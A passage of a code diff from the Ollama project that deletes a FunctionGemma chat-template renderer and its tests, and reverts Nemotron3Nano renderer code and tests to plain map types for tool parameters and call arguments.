-	if prevMessageType != "tool_response" {
-		sb.WriteString("<start_of_turn>model\n")
-	}
-
-	return sb.String(), nil
-}
-
-func (r *FunctionGemmaRenderer) renderToolDeclaration(tool api.Tool) string {
-	var sb strings.Builder
-
-	fn := tool.Function
-	sb.WriteString("<start_function_declaration>declaration:" + fn.Name + "{")
-	sb.WriteString("description:<escape>" + fn.Description + "<escape>")
-
-	if fn.Parameters.Properties != nil || fn.Parameters.Type != "" {
-		sb.WriteString(",parameters:{")
-
-		needsComma := false
-
-		// Only include properties:{} if there are actual properties
-		if fn.Parameters.Properties != nil && fn.Parameters.Properties.Len() > 0 {
-			sb.WriteString("properties:{")
-			r.writeProperties(&sb, fn.Parameters.Properties)
-			sb.WriteString("}")
-			needsComma = true
-		}
-
-		if len(fn.Parameters.Required) > 0 {
-			if needsComma {
-				sb.WriteString(",")
-			}
-			sb.WriteString("required:[")
-			for i, req := range fn.Parameters.Required {
-				if i > 0 {
-					sb.WriteString(",")
-				}
-				sb.WriteString("<escape>" + req + "<escape>")
-			}
-			sb.WriteString("]")
-			needsComma = true
-		}
-
-		if fn.Parameters.Type != "" {
-			if needsComma {
-				sb.WriteString(",")
-			}
-			sb.WriteString("type:<escape>" + strings.ToUpper(fn.Parameters.Type) + "<escape>")
-		}
-
-		sb.WriteString("}")
-	}
-
-	sb.WriteString("}<end_function_declaration>")
-	return sb.String()
-}
-
-func (r *FunctionGemmaRenderer) writeProperties(sb *strings.Builder, props *api.ToolPropertiesMap) {
-	keys := make([]string, 0, props.Len())
-	for k := range props.All() {
-		keys = append(keys, k)
-	}
-	sort.Strings(keys)
-
-	first := true
-	for _, name := range keys {
-		prop, _ := props.Get(name)
-		if !first {
-			sb.WriteString(",")
-		}
-		first = false
-
-		sb.WriteString(name + ":{description:<escape>")
-		sb.WriteString(prop.Description)
-		sb.WriteString("<escape>")
-
-		if len(prop.Type) > 0 {
-			sb.WriteString(",type:<escape>" + strings.ToUpper(prop.Type[0]) + "<escape>")
-		}
-
-		sb.WriteString("}")
-	}
-}
-
-func (r *FunctionGemmaRenderer) formatToolCall(tc api.ToolCall) string {
-	var sb strings.Builder
-	sb.WriteString("<start_function_call>call:" + tc.Function.Name + "{")
-
-	keys := make([]string, 0, tc.Function.Arguments.Len())
-	for k := range tc.Function.Arguments.All() {
-		keys = append(keys, k)
-	}
-	sort.Strings(keys)
-
-	first := true
-	for _, key := range keys {
-		value, _ := tc.Function.Arguments.Get(key)
-		if !first {
-			sb.WriteString(",")
-		}
-		first = false
-		sb.WriteString(key + ":" + r.formatArgValue(value))
-	}
-
-	sb.WriteString("}<end_function_call>")
-	return sb.String()
-}
-
-func (r *FunctionGemmaRenderer) formatArgValue(value any) string {
-	switch v := value.(type) {
-	case string:
-		return "<escape>" + v + "<escape>"
-	case bool:
-		if v {
-			return "true"
-		}
-		return "false"
-	case float64:
-		if v == float64(int64(v)) {
-			return fmt.Sprintf("%d", int64(v))
-		}
-		return fmt.Sprintf("%v", v)
-	case int, int64, int32:
-		return fmt.Sprintf("%d", v)
-	case map[string]any:
-		return r.formatMapValue(v)
-	case []any:
-		return r.formatArrayValue(v)
-	default:
-		return fmt.Sprintf("%v", v)
-	}
-}
-
-func (r *FunctionGemmaRenderer) formatMapValue(m map[string]any) string {
-	var sb strings.Builder
-	sb.WriteString("{")
-
-	keys := make([]string, 0, len(m))
-	for k := range m {
-		keys = append(keys, k)
-	}
-	sort.Strings(keys)
-
-	first := true
-	for _, key := range keys {
-		if !first {
-			sb.WriteString(",")
-		}
-		first = false
-		sb.WriteString(key + ":" + r.formatArgValue(m[key]))
-	}
-
-	sb.WriteString("}")
-	return sb.String()
-}
-
-func (r *FunctionGemmaRenderer) formatArrayValue(arr []any) string {
-	var sb strings.Builder
-	sb.WriteString("[")
-
-	for i, item := range arr {
-		if i > 0 {
-			sb.WriteString(",")
-		}
-		sb.WriteString(r.formatArgValue(item))
-	}
-
-	sb.WriteString("]")
-	return sb.String()
-}

model/renderers/functiongemma_test.go

@@ -1,514 +0,0 @@
-package renderers
-
-import (
-	"testing"
-
-	"github.com/ollama/ollama/api"
-	"github.com/stretchr/testify/assert"
-)
-
-func TestFunctionGemmaRenderer(t *testing.T) {
-	tests := []struct {
-		name     string
-		messages []api.Message
-		tools    []api.Tool
-		expected string
-	}{
-		{
-			name: "basic_user_message",
-			messages: []api.Message{
-				{Role: "user", Content: "Hello!"},
-			},
-			expected: "<bos><start_of_turn>user\nHello!<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "with_system_message",
-			messages: []api.Message{
-				{Role: "system", Content: "You are helpful"},
-				{Role: "user", Content: "Hello!"},
-			},
-			expected: "<bos><start_of_turn>developer\nYou are helpful<end_of_turn>\n<start_of_turn>user\nHello!<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "with_developer_role",
-			messages: []api.Message{
-				{Role: "developer", Content: "You are a coding assistant"},
-				{Role: "user", Content: "Hello!"},
-			},
-			expected: "<bos><start_of_turn>developer\nYou are a coding assistant<end_of_turn>\n<start_of_turn>user\nHello!<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "custom_system_message_with_tools",
-			messages: []api.Message{
-				{Role: "system", Content: "You are a weather expert."},
-				{Role: "user", Content: "Weather?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			// Custom system message is preserved, tools are appended
-			expected: "<bos><start_of_turn>developer\nYou are a weather expert.\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "developer_role_with_tools",
-			messages: []api.Message{
-				{Role: "developer", Content: "Be concise."},
-				{Role: "user", Content: "Weather?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			// Developer role message is preserved, tools are appended
-			expected: "<bos><start_of_turn>developer\nBe concise.\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "multi_turn",
-			messages: []api.Message{
-				{Role: "user", Content: "Hi"},
-				{Role: "assistant", Content: "Hello!"},
-				{Role: "user", Content: "More"},
-			},
-			expected: "<bos><start_of_turn>user\nHi<end_of_turn>\n<start_of_turn>model\nHello!<end_of_turn>\n<start_of_turn>user\nMore<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "with_tools",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "tool_call",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather?"},
-				{
-					Role: "assistant",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "Sunny"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n<start_function_call>call:get_weather{city:<escape>Paris<escape>}<end_function_call><start_function_response>response:get_weather{<escape>Sunny<escape>}<end_function_response>",
-		},
-		{
-			name: "assistant_content_with_tool_call",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather?"},
-				{
-					Role:    "assistant",
-					Content: "Let me check.",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "Sunny"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\nLet me check.<start_function_call>call:get_weather{city:<escape>Paris<escape>}<end_function_call><start_function_response>response:get_weather{<escape>Sunny<escape>}<end_function_response>",
-		},
-		{
-			name: "numeric_arguments",
-			messages: []api.Message{
-				{Role: "user", Content: "Add"},
-				{
-					Role: "assistant",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "add",
-								Arguments: testArgs(map[string]any{"a": float64(1), "b": float64(2)}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "3"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "add",
-						Description: "Add numbers",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"a": {Type: api.PropertyType{"number"}},
-								"b": {Type: api.PropertyType{"number"}},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:add{description:<escape>Add numbers<escape>,parameters:{properties:{a:{description:<escape><escape>,type:<escape>NUMBER<escape>},b:{description:<escape><escape>,type:<escape>NUMBER<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nAdd<end_of_turn>\n<start_of_turn>model\n<start_function_call>call:add{a:1,b:2}<end_function_call><start_function_response>response:add{<escape>3<escape>}<end_function_response>",
-		},
-		{
-			name:     "empty_messages",
-			messages: []api.Message{},
-			expected: "<bos><start_of_turn>model\n",
-		},
-		{
-			name: "tool_with_required_params",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Gets the weather for a given city",
-						Parameters: api.ToolFunctionParameters{
-							Type:     "object",
-							Required: []string{"city"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city":    {Type: api.PropertyType{"string"}, Description: "City Name"},
-								"country": {Type: api.PropertyType{"string"}, Description: "Country Name"},
-							}),
-						},
-					},
-				},
-			},
-			// Required params are escaped: required:[<escape>city<escape>]
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Gets the weather for a given city<escape>,parameters:{properties:{city:{description:<escape>City Name<escape>,type:<escape>STRING<escape>},country:{description:<escape>Country Name<escape>,type:<escape>STRING<escape>}},required:[<escape>city<escape>],type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "multiple_tools",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather and time?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_time",
-						Description: "Get current time",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"timezone": {Type: api.PropertyType{"string"}, Description: "Timezone"},
-							}),
-						},
-					},
-				},
-			},
-			// Multiple tool declarations are consecutive
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><start_function_declaration>declaration:get_time{description:<escape>Get current time<escape>,parameters:{properties:{timezone:{description:<escape>Timezone<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather and time?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "parallel_tool_calls",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather and time?"},
-				{
-					Role: "assistant",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
-							},
-						},
-						{
-							Function: api.ToolCallFunction{
-								Name:      "get_time",
-								Arguments: testArgs(map[string]any{"timezone": "UTC"}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "Sunny"},
-				{Role: "tool", Content: "12:00"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_time",
-						Description: "Get current time",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"timezone": {Type: api.PropertyType{"string"}, Description: "Timezone"},
-							}),
-						},
-					},
-				},
-			},
-			// Multiple tool calls and responses are consecutive
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><start_function_declaration>declaration:get_time{description:<escape>Get current time<escape>,parameters:{properties:{timezone:{description:<escape>Timezone<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather and time?<end_of_turn>\n<start_of_turn>model\n<start_function_call>call:get_weather{city:<escape>Paris<escape>}<end_function_call><start_function_call>call:get_time{timezone:<escape>UTC<escape>}<end_function_call><start_function_response>response:get_weather{<escape>Sunny<escape>}<end_function_response><start_function_response>response:get_time{<escape>12:00<escape>}<end_function_response>",
-		},
-		{
-			name: "user_after_tool_response",
-			messages: []api.Message{
-				{Role: "user", Content: "Weather?"},
-				{
-					Role: "assistant",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "Sunny"},
-				{Role: "user", Content: "Thanks! What about London?"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "get_weather",
-						Description: "Get weather",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"city": {Type: api.PropertyType{"string"}, Description: "City"},
-							}),
-						},
-					},
-				},
-			},
-			// User message after tool response gets concatenated (user reverted to this behavior)
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:get_weather{description:<escape>Get weather<escape>,parameters:{properties:{city:{description:<escape>City<escape>,type:<escape>STRING<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nWeather?<end_of_turn>\n<start_of_turn>model\n<start_function_call>call:get_weather{city:<escape>Paris<escape>}<end_function_call><start_function_response>response:get_weather{<escape>Sunny<escape>}<end_function_response>Thanks! What about London?<end_of_turn>\n<start_of_turn>model\n",
-		},
-		// Edge cases
-		{
-			name: "tool_empty_properties",
-			messages: []api.Message{
-				{Role: "user", Content: "Test"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "test_fn",
-						Description: "",
-						Parameters: api.ToolFunctionParameters{
-							Type:       "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{}),
-						},
-					},
-				},
-			},
-			// Empty properties are omitted
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:test_fn{description:<escape><escape>,parameters:{type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nTest<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "unicode_content",
-			messages: []api.Message{
-				{Role: "user", Content: "こんにちは 🎉"},
-			},
-			expected: "<bos><start_of_turn>user\nこんにちは 🎉<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "newlines_in_content",
-			messages: []api.Message{
-				{Role: "user", Content: "Line 1\nLine 2\nLine 3"},
-			},
-			expected: "<bos><start_of_turn>user\nLine 1\nLine 2\nLine 3<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "special_chars_in_content",
-			messages: []api.Message{
-				{Role: "user", Content: "Test <tag> & \"quotes\" chars"},
-			},
-			expected: "<bos><start_of_turn>user\nTest <tag> & \"quotes\" chars<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "boolean_argument",
-			messages: []api.Message{
-				{Role: "user", Content: "Set flag"},
-				{
-					Role: "assistant",
-					ToolCalls: []api.ToolCall{
-						{
-							Function: api.ToolCallFunction{
-								Name:      "set_flag",
-								Arguments: testArgs(map[string]any{"enabled": true}),
-							},
-						},
-					},
-				},
-				{Role: "tool", Content: "done"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "set_flag",
-						Description: "Set a flag",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"enabled": {Type: api.PropertyType{"boolean"}, Description: "Flag value"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:set_flag{description:<escape>Set a flag<escape>,parameters:{properties:{enabled:{description:<escape>Flag value<escape>,type:<escape>BOOLEAN<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nSet flag<end_of_turn>\n<start_of_turn>model\n<start_function_call>call:set_flag{enabled:true}<end_function_call><start_function_response>response:set_flag{<escape>done<escape>}<end_function_response>",
-		},
-		{
-			name: "multiple_required_params",
-			messages: []api.Message{
-				{Role: "user", Content: "Test"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "test",
-						Description: "Test",
-						Parameters: api.ToolFunctionParameters{
-							Type:     "object",
-							Required: []string{"a", "b", "c"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"a": {Type: api.PropertyType{"string"}, Description: "A"},
-								"b": {Type: api.PropertyType{"string"}, Description: "B"},
-								"c": {Type: api.PropertyType{"string"}, Description: "C"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:test{description:<escape>Test<escape>,parameters:{properties:{a:{description:<escape>A<escape>,type:<escape>STRING<escape>},b:{description:<escape>B<escape>,type:<escape>STRING<escape>},c:{description:<escape>C<escape>,type:<escape>STRING<escape>}},required:[<escape>a<escape>,<escape>b<escape>,<escape>c<escape>],type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nTest<end_of_turn>\n<start_of_turn>model\n",
-		},
-		{
-			name: "array_type_param",
-			messages: []api.Message{
-				{Role: "user", Content: "Test"},
-			},
-			tools: []api.Tool{
-				{
-					Type: "function",
-					Function: api.ToolFunction{
-						Name:        "test",
-						Description: "Test",
-						Parameters: api.ToolFunctionParameters{
-							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
-								"items": {Type: api.PropertyType{"array"}, Description: "List of items"},
-							}),
-						},
-					},
-				},
-			},
-			expected: "<bos><start_of_turn>developer\nYou can do function calling with the following functions:<start_function_declaration>declaration:test{description:<escape>Test<escape>,parameters:{properties:{items:{description:<escape>List of items<escape>,type:<escape>ARRAY<escape>}},type:<escape>OBJECT<escape>}}<end_function_declaration><end_of_turn>\n<start_of_turn>user\nTest<end_of_turn>\n<start_of_turn>model\n",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			renderer := &FunctionGemmaRenderer{}
-			result, err := renderer.Render(tt.messages, tt.tools, nil)
-			assert.NoError(t, err)
-			assert.Equal(t, tt.expected, result)
-		})
-	}
-}

model/renderers/nemotron3nano.go

@@ -114,7 +114,7 @@ func (r *Nemotron3NanoRenderer) renderTools(tools []api.Tool) string {
 
 		sb.WriteString("\n<parameters>")
 		if fn.Parameters.Properties != nil {
-			for paramName, paramFields := range fn.Parameters.Properties.All() {
+			for paramName, paramFields := range fn.Parameters.Properties {
 				sb.WriteString("\n<parameter>")
 				sb.WriteString("\n<name>" + paramName + "</name>")
 
@@ -202,7 +202,7 @@ func (r *Nemotron3NanoRenderer) formatContent(content string, truncate bool, add
 func (r *Nemotron3NanoRenderer) writeToolCalls(sb *strings.Builder, toolCalls []api.ToolCall) {
 	for _, tc := range toolCalls {
 		sb.WriteString("<tool_call>\n<function=" + tc.Function.Name + ">\n")
-		for name, value := range tc.Function.Arguments.All() {
+		for name, value := range tc.Function.Arguments {
 			sb.WriteString("<parameter=" + name + ">\n" + r.formatArgValue(value) + "\n</parameter>\n")
 		}
 		sb.WriteString("</function>\n</tool_call>\n")

model/renderers/nemotron3nano_test.go

@@ -75,9 +75,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"city"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"city": {Type: api.PropertyType{"string"}, Description: "The city name"},
-							}),
+							},
 						},
 					},
 				},
@@ -113,7 +113,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						{
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
+								Arguments: map[string]any{"city": "Paris"},
 							},
 						},
 					},
@@ -129,9 +129,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Parameters: api.ToolFunctionParameters{
 							Type:     "object",
 							Required: []string{"city"},
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"city": {Type: api.PropertyType{"string"}, Description: "The city name"},
-							}),
+							},
 						},
 					},
 				},
@@ -171,7 +171,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						{
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
+								Arguments: map[string]any{"city": "Paris"},
 							},
 						},
 					},
@@ -185,9 +185,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"city": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -238,13 +238,13 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						{
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "Paris"}),
+								Arguments: map[string]any{"city": "Paris"},
 							},
 						},
 						{
 							Function: api.ToolCallFunction{
 								Name:      "get_weather",
-								Arguments: testArgs(map[string]any{"city": "London"}),
+								Arguments: map[string]any{"city": "London"},
 							},
 						},
 					},
@@ -259,9 +259,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"city": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -304,13 +304,13 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 			msgs: []api.Message{
 				{Role: "user", Content: "What's the weather in Paris and London? Also, what's 2+2?"},
 				{Role: "assistant", Content: "", Thinking: "I need to check the weather for both cities and calculate 2+2. Let me start with the weather calls.", ToolCalls: []api.ToolCall{
-					{Function: api.ToolCallFunction{Name: "get_weather", Arguments: testArgs(map[string]any{"city": "Paris"})}},
-					{Function: api.ToolCallFunction{Name: "get_weather", Arguments: testArgs(map[string]any{"city": "London"})}},
+					{Function: api.ToolCallFunction{Name: "get_weather", Arguments: api.ToolCallFunctionArguments{"city": "Paris"}}},
+					{Function: api.ToolCallFunction{Name: "get_weather", Arguments: api.ToolCallFunctionArguments{"city": "London"}}},
 				}},
 				{Role: "tool", Content: "Sunny, 22°C", ToolCallID: "call1"},
 				{Role: "tool", Content: "Rainy, 15°C", ToolCallID: "call2"},
 				{Role: "assistant", Content: "", Thinking: "Now I have the weather data. Let me calculate 2+2.", ToolCalls: []api.ToolCall{
-					{Function: api.ToolCallFunction{Name: "calculate", Arguments: testArgs(map[string]any{"expression": "2+2"})}},
+					{Function: api.ToolCallFunction{Name: "calculate", Arguments: api.ToolCallFunctionArguments{"expression": "2+2"}}},
 				}},
 				{Role: "tool", Content: "4", ToolCallID: "call3"},
 				{Role: "assistant", Content: "Based on the weather data, Paris is sunny at 22°C and London is rainy at 15°C. Also, 2+2 equals 4.", Thinking: "Perfect! I have all the information needed to provide a complete answer."},
@@ -322,9 +322,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"city": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -334,9 +334,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "calculate",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"expression": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -389,7 +389,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 				{
 					Role: "assistant",
 					ToolCalls: []api.ToolCall{
-						{Function: api.ToolCallFunction{Name: "get_user", Arguments: testArgs(map[string]any{"id": "123"})}},
+						{Function: api.ToolCallFunction{Name: "get_user", Arguments: map[string]any{"id": "123"}}},
 					},
 				},
 				{Role: "tool", Content: `{"name": "John", "age": 30, "active": true}`},
@@ -401,7 +401,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "get_user",
 						Parameters: api.ToolFunctionParameters{
 							Type:       "object",
-							Properties: testPropsMap(map[string]api.ToolProperty{"id": {Type: api.PropertyType{"string"}}}),
+							Properties: map[string]api.ToolProperty{"id": {Type: api.PropertyType{"string"}}},
 						},
 					},
 				},
@@ -450,9 +450,9 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 					ToolCalls: []api.ToolCall{
 						{Function: api.ToolCallFunction{
 							Name: "create",
-							Arguments: testArgs(map[string]any{
+							Arguments: map[string]any{
 								"data": map[string]any{"nested": "value", "count": 42},
-							}),
+							},
 						}},
 					},
 				},
@@ -465,7 +465,7 @@ func TestNemotron3NanoRenderer(t *testing.T) {
 						Name: "create",
 						Parameters: api.ToolFunctionParameters{
 							Type:       "object",
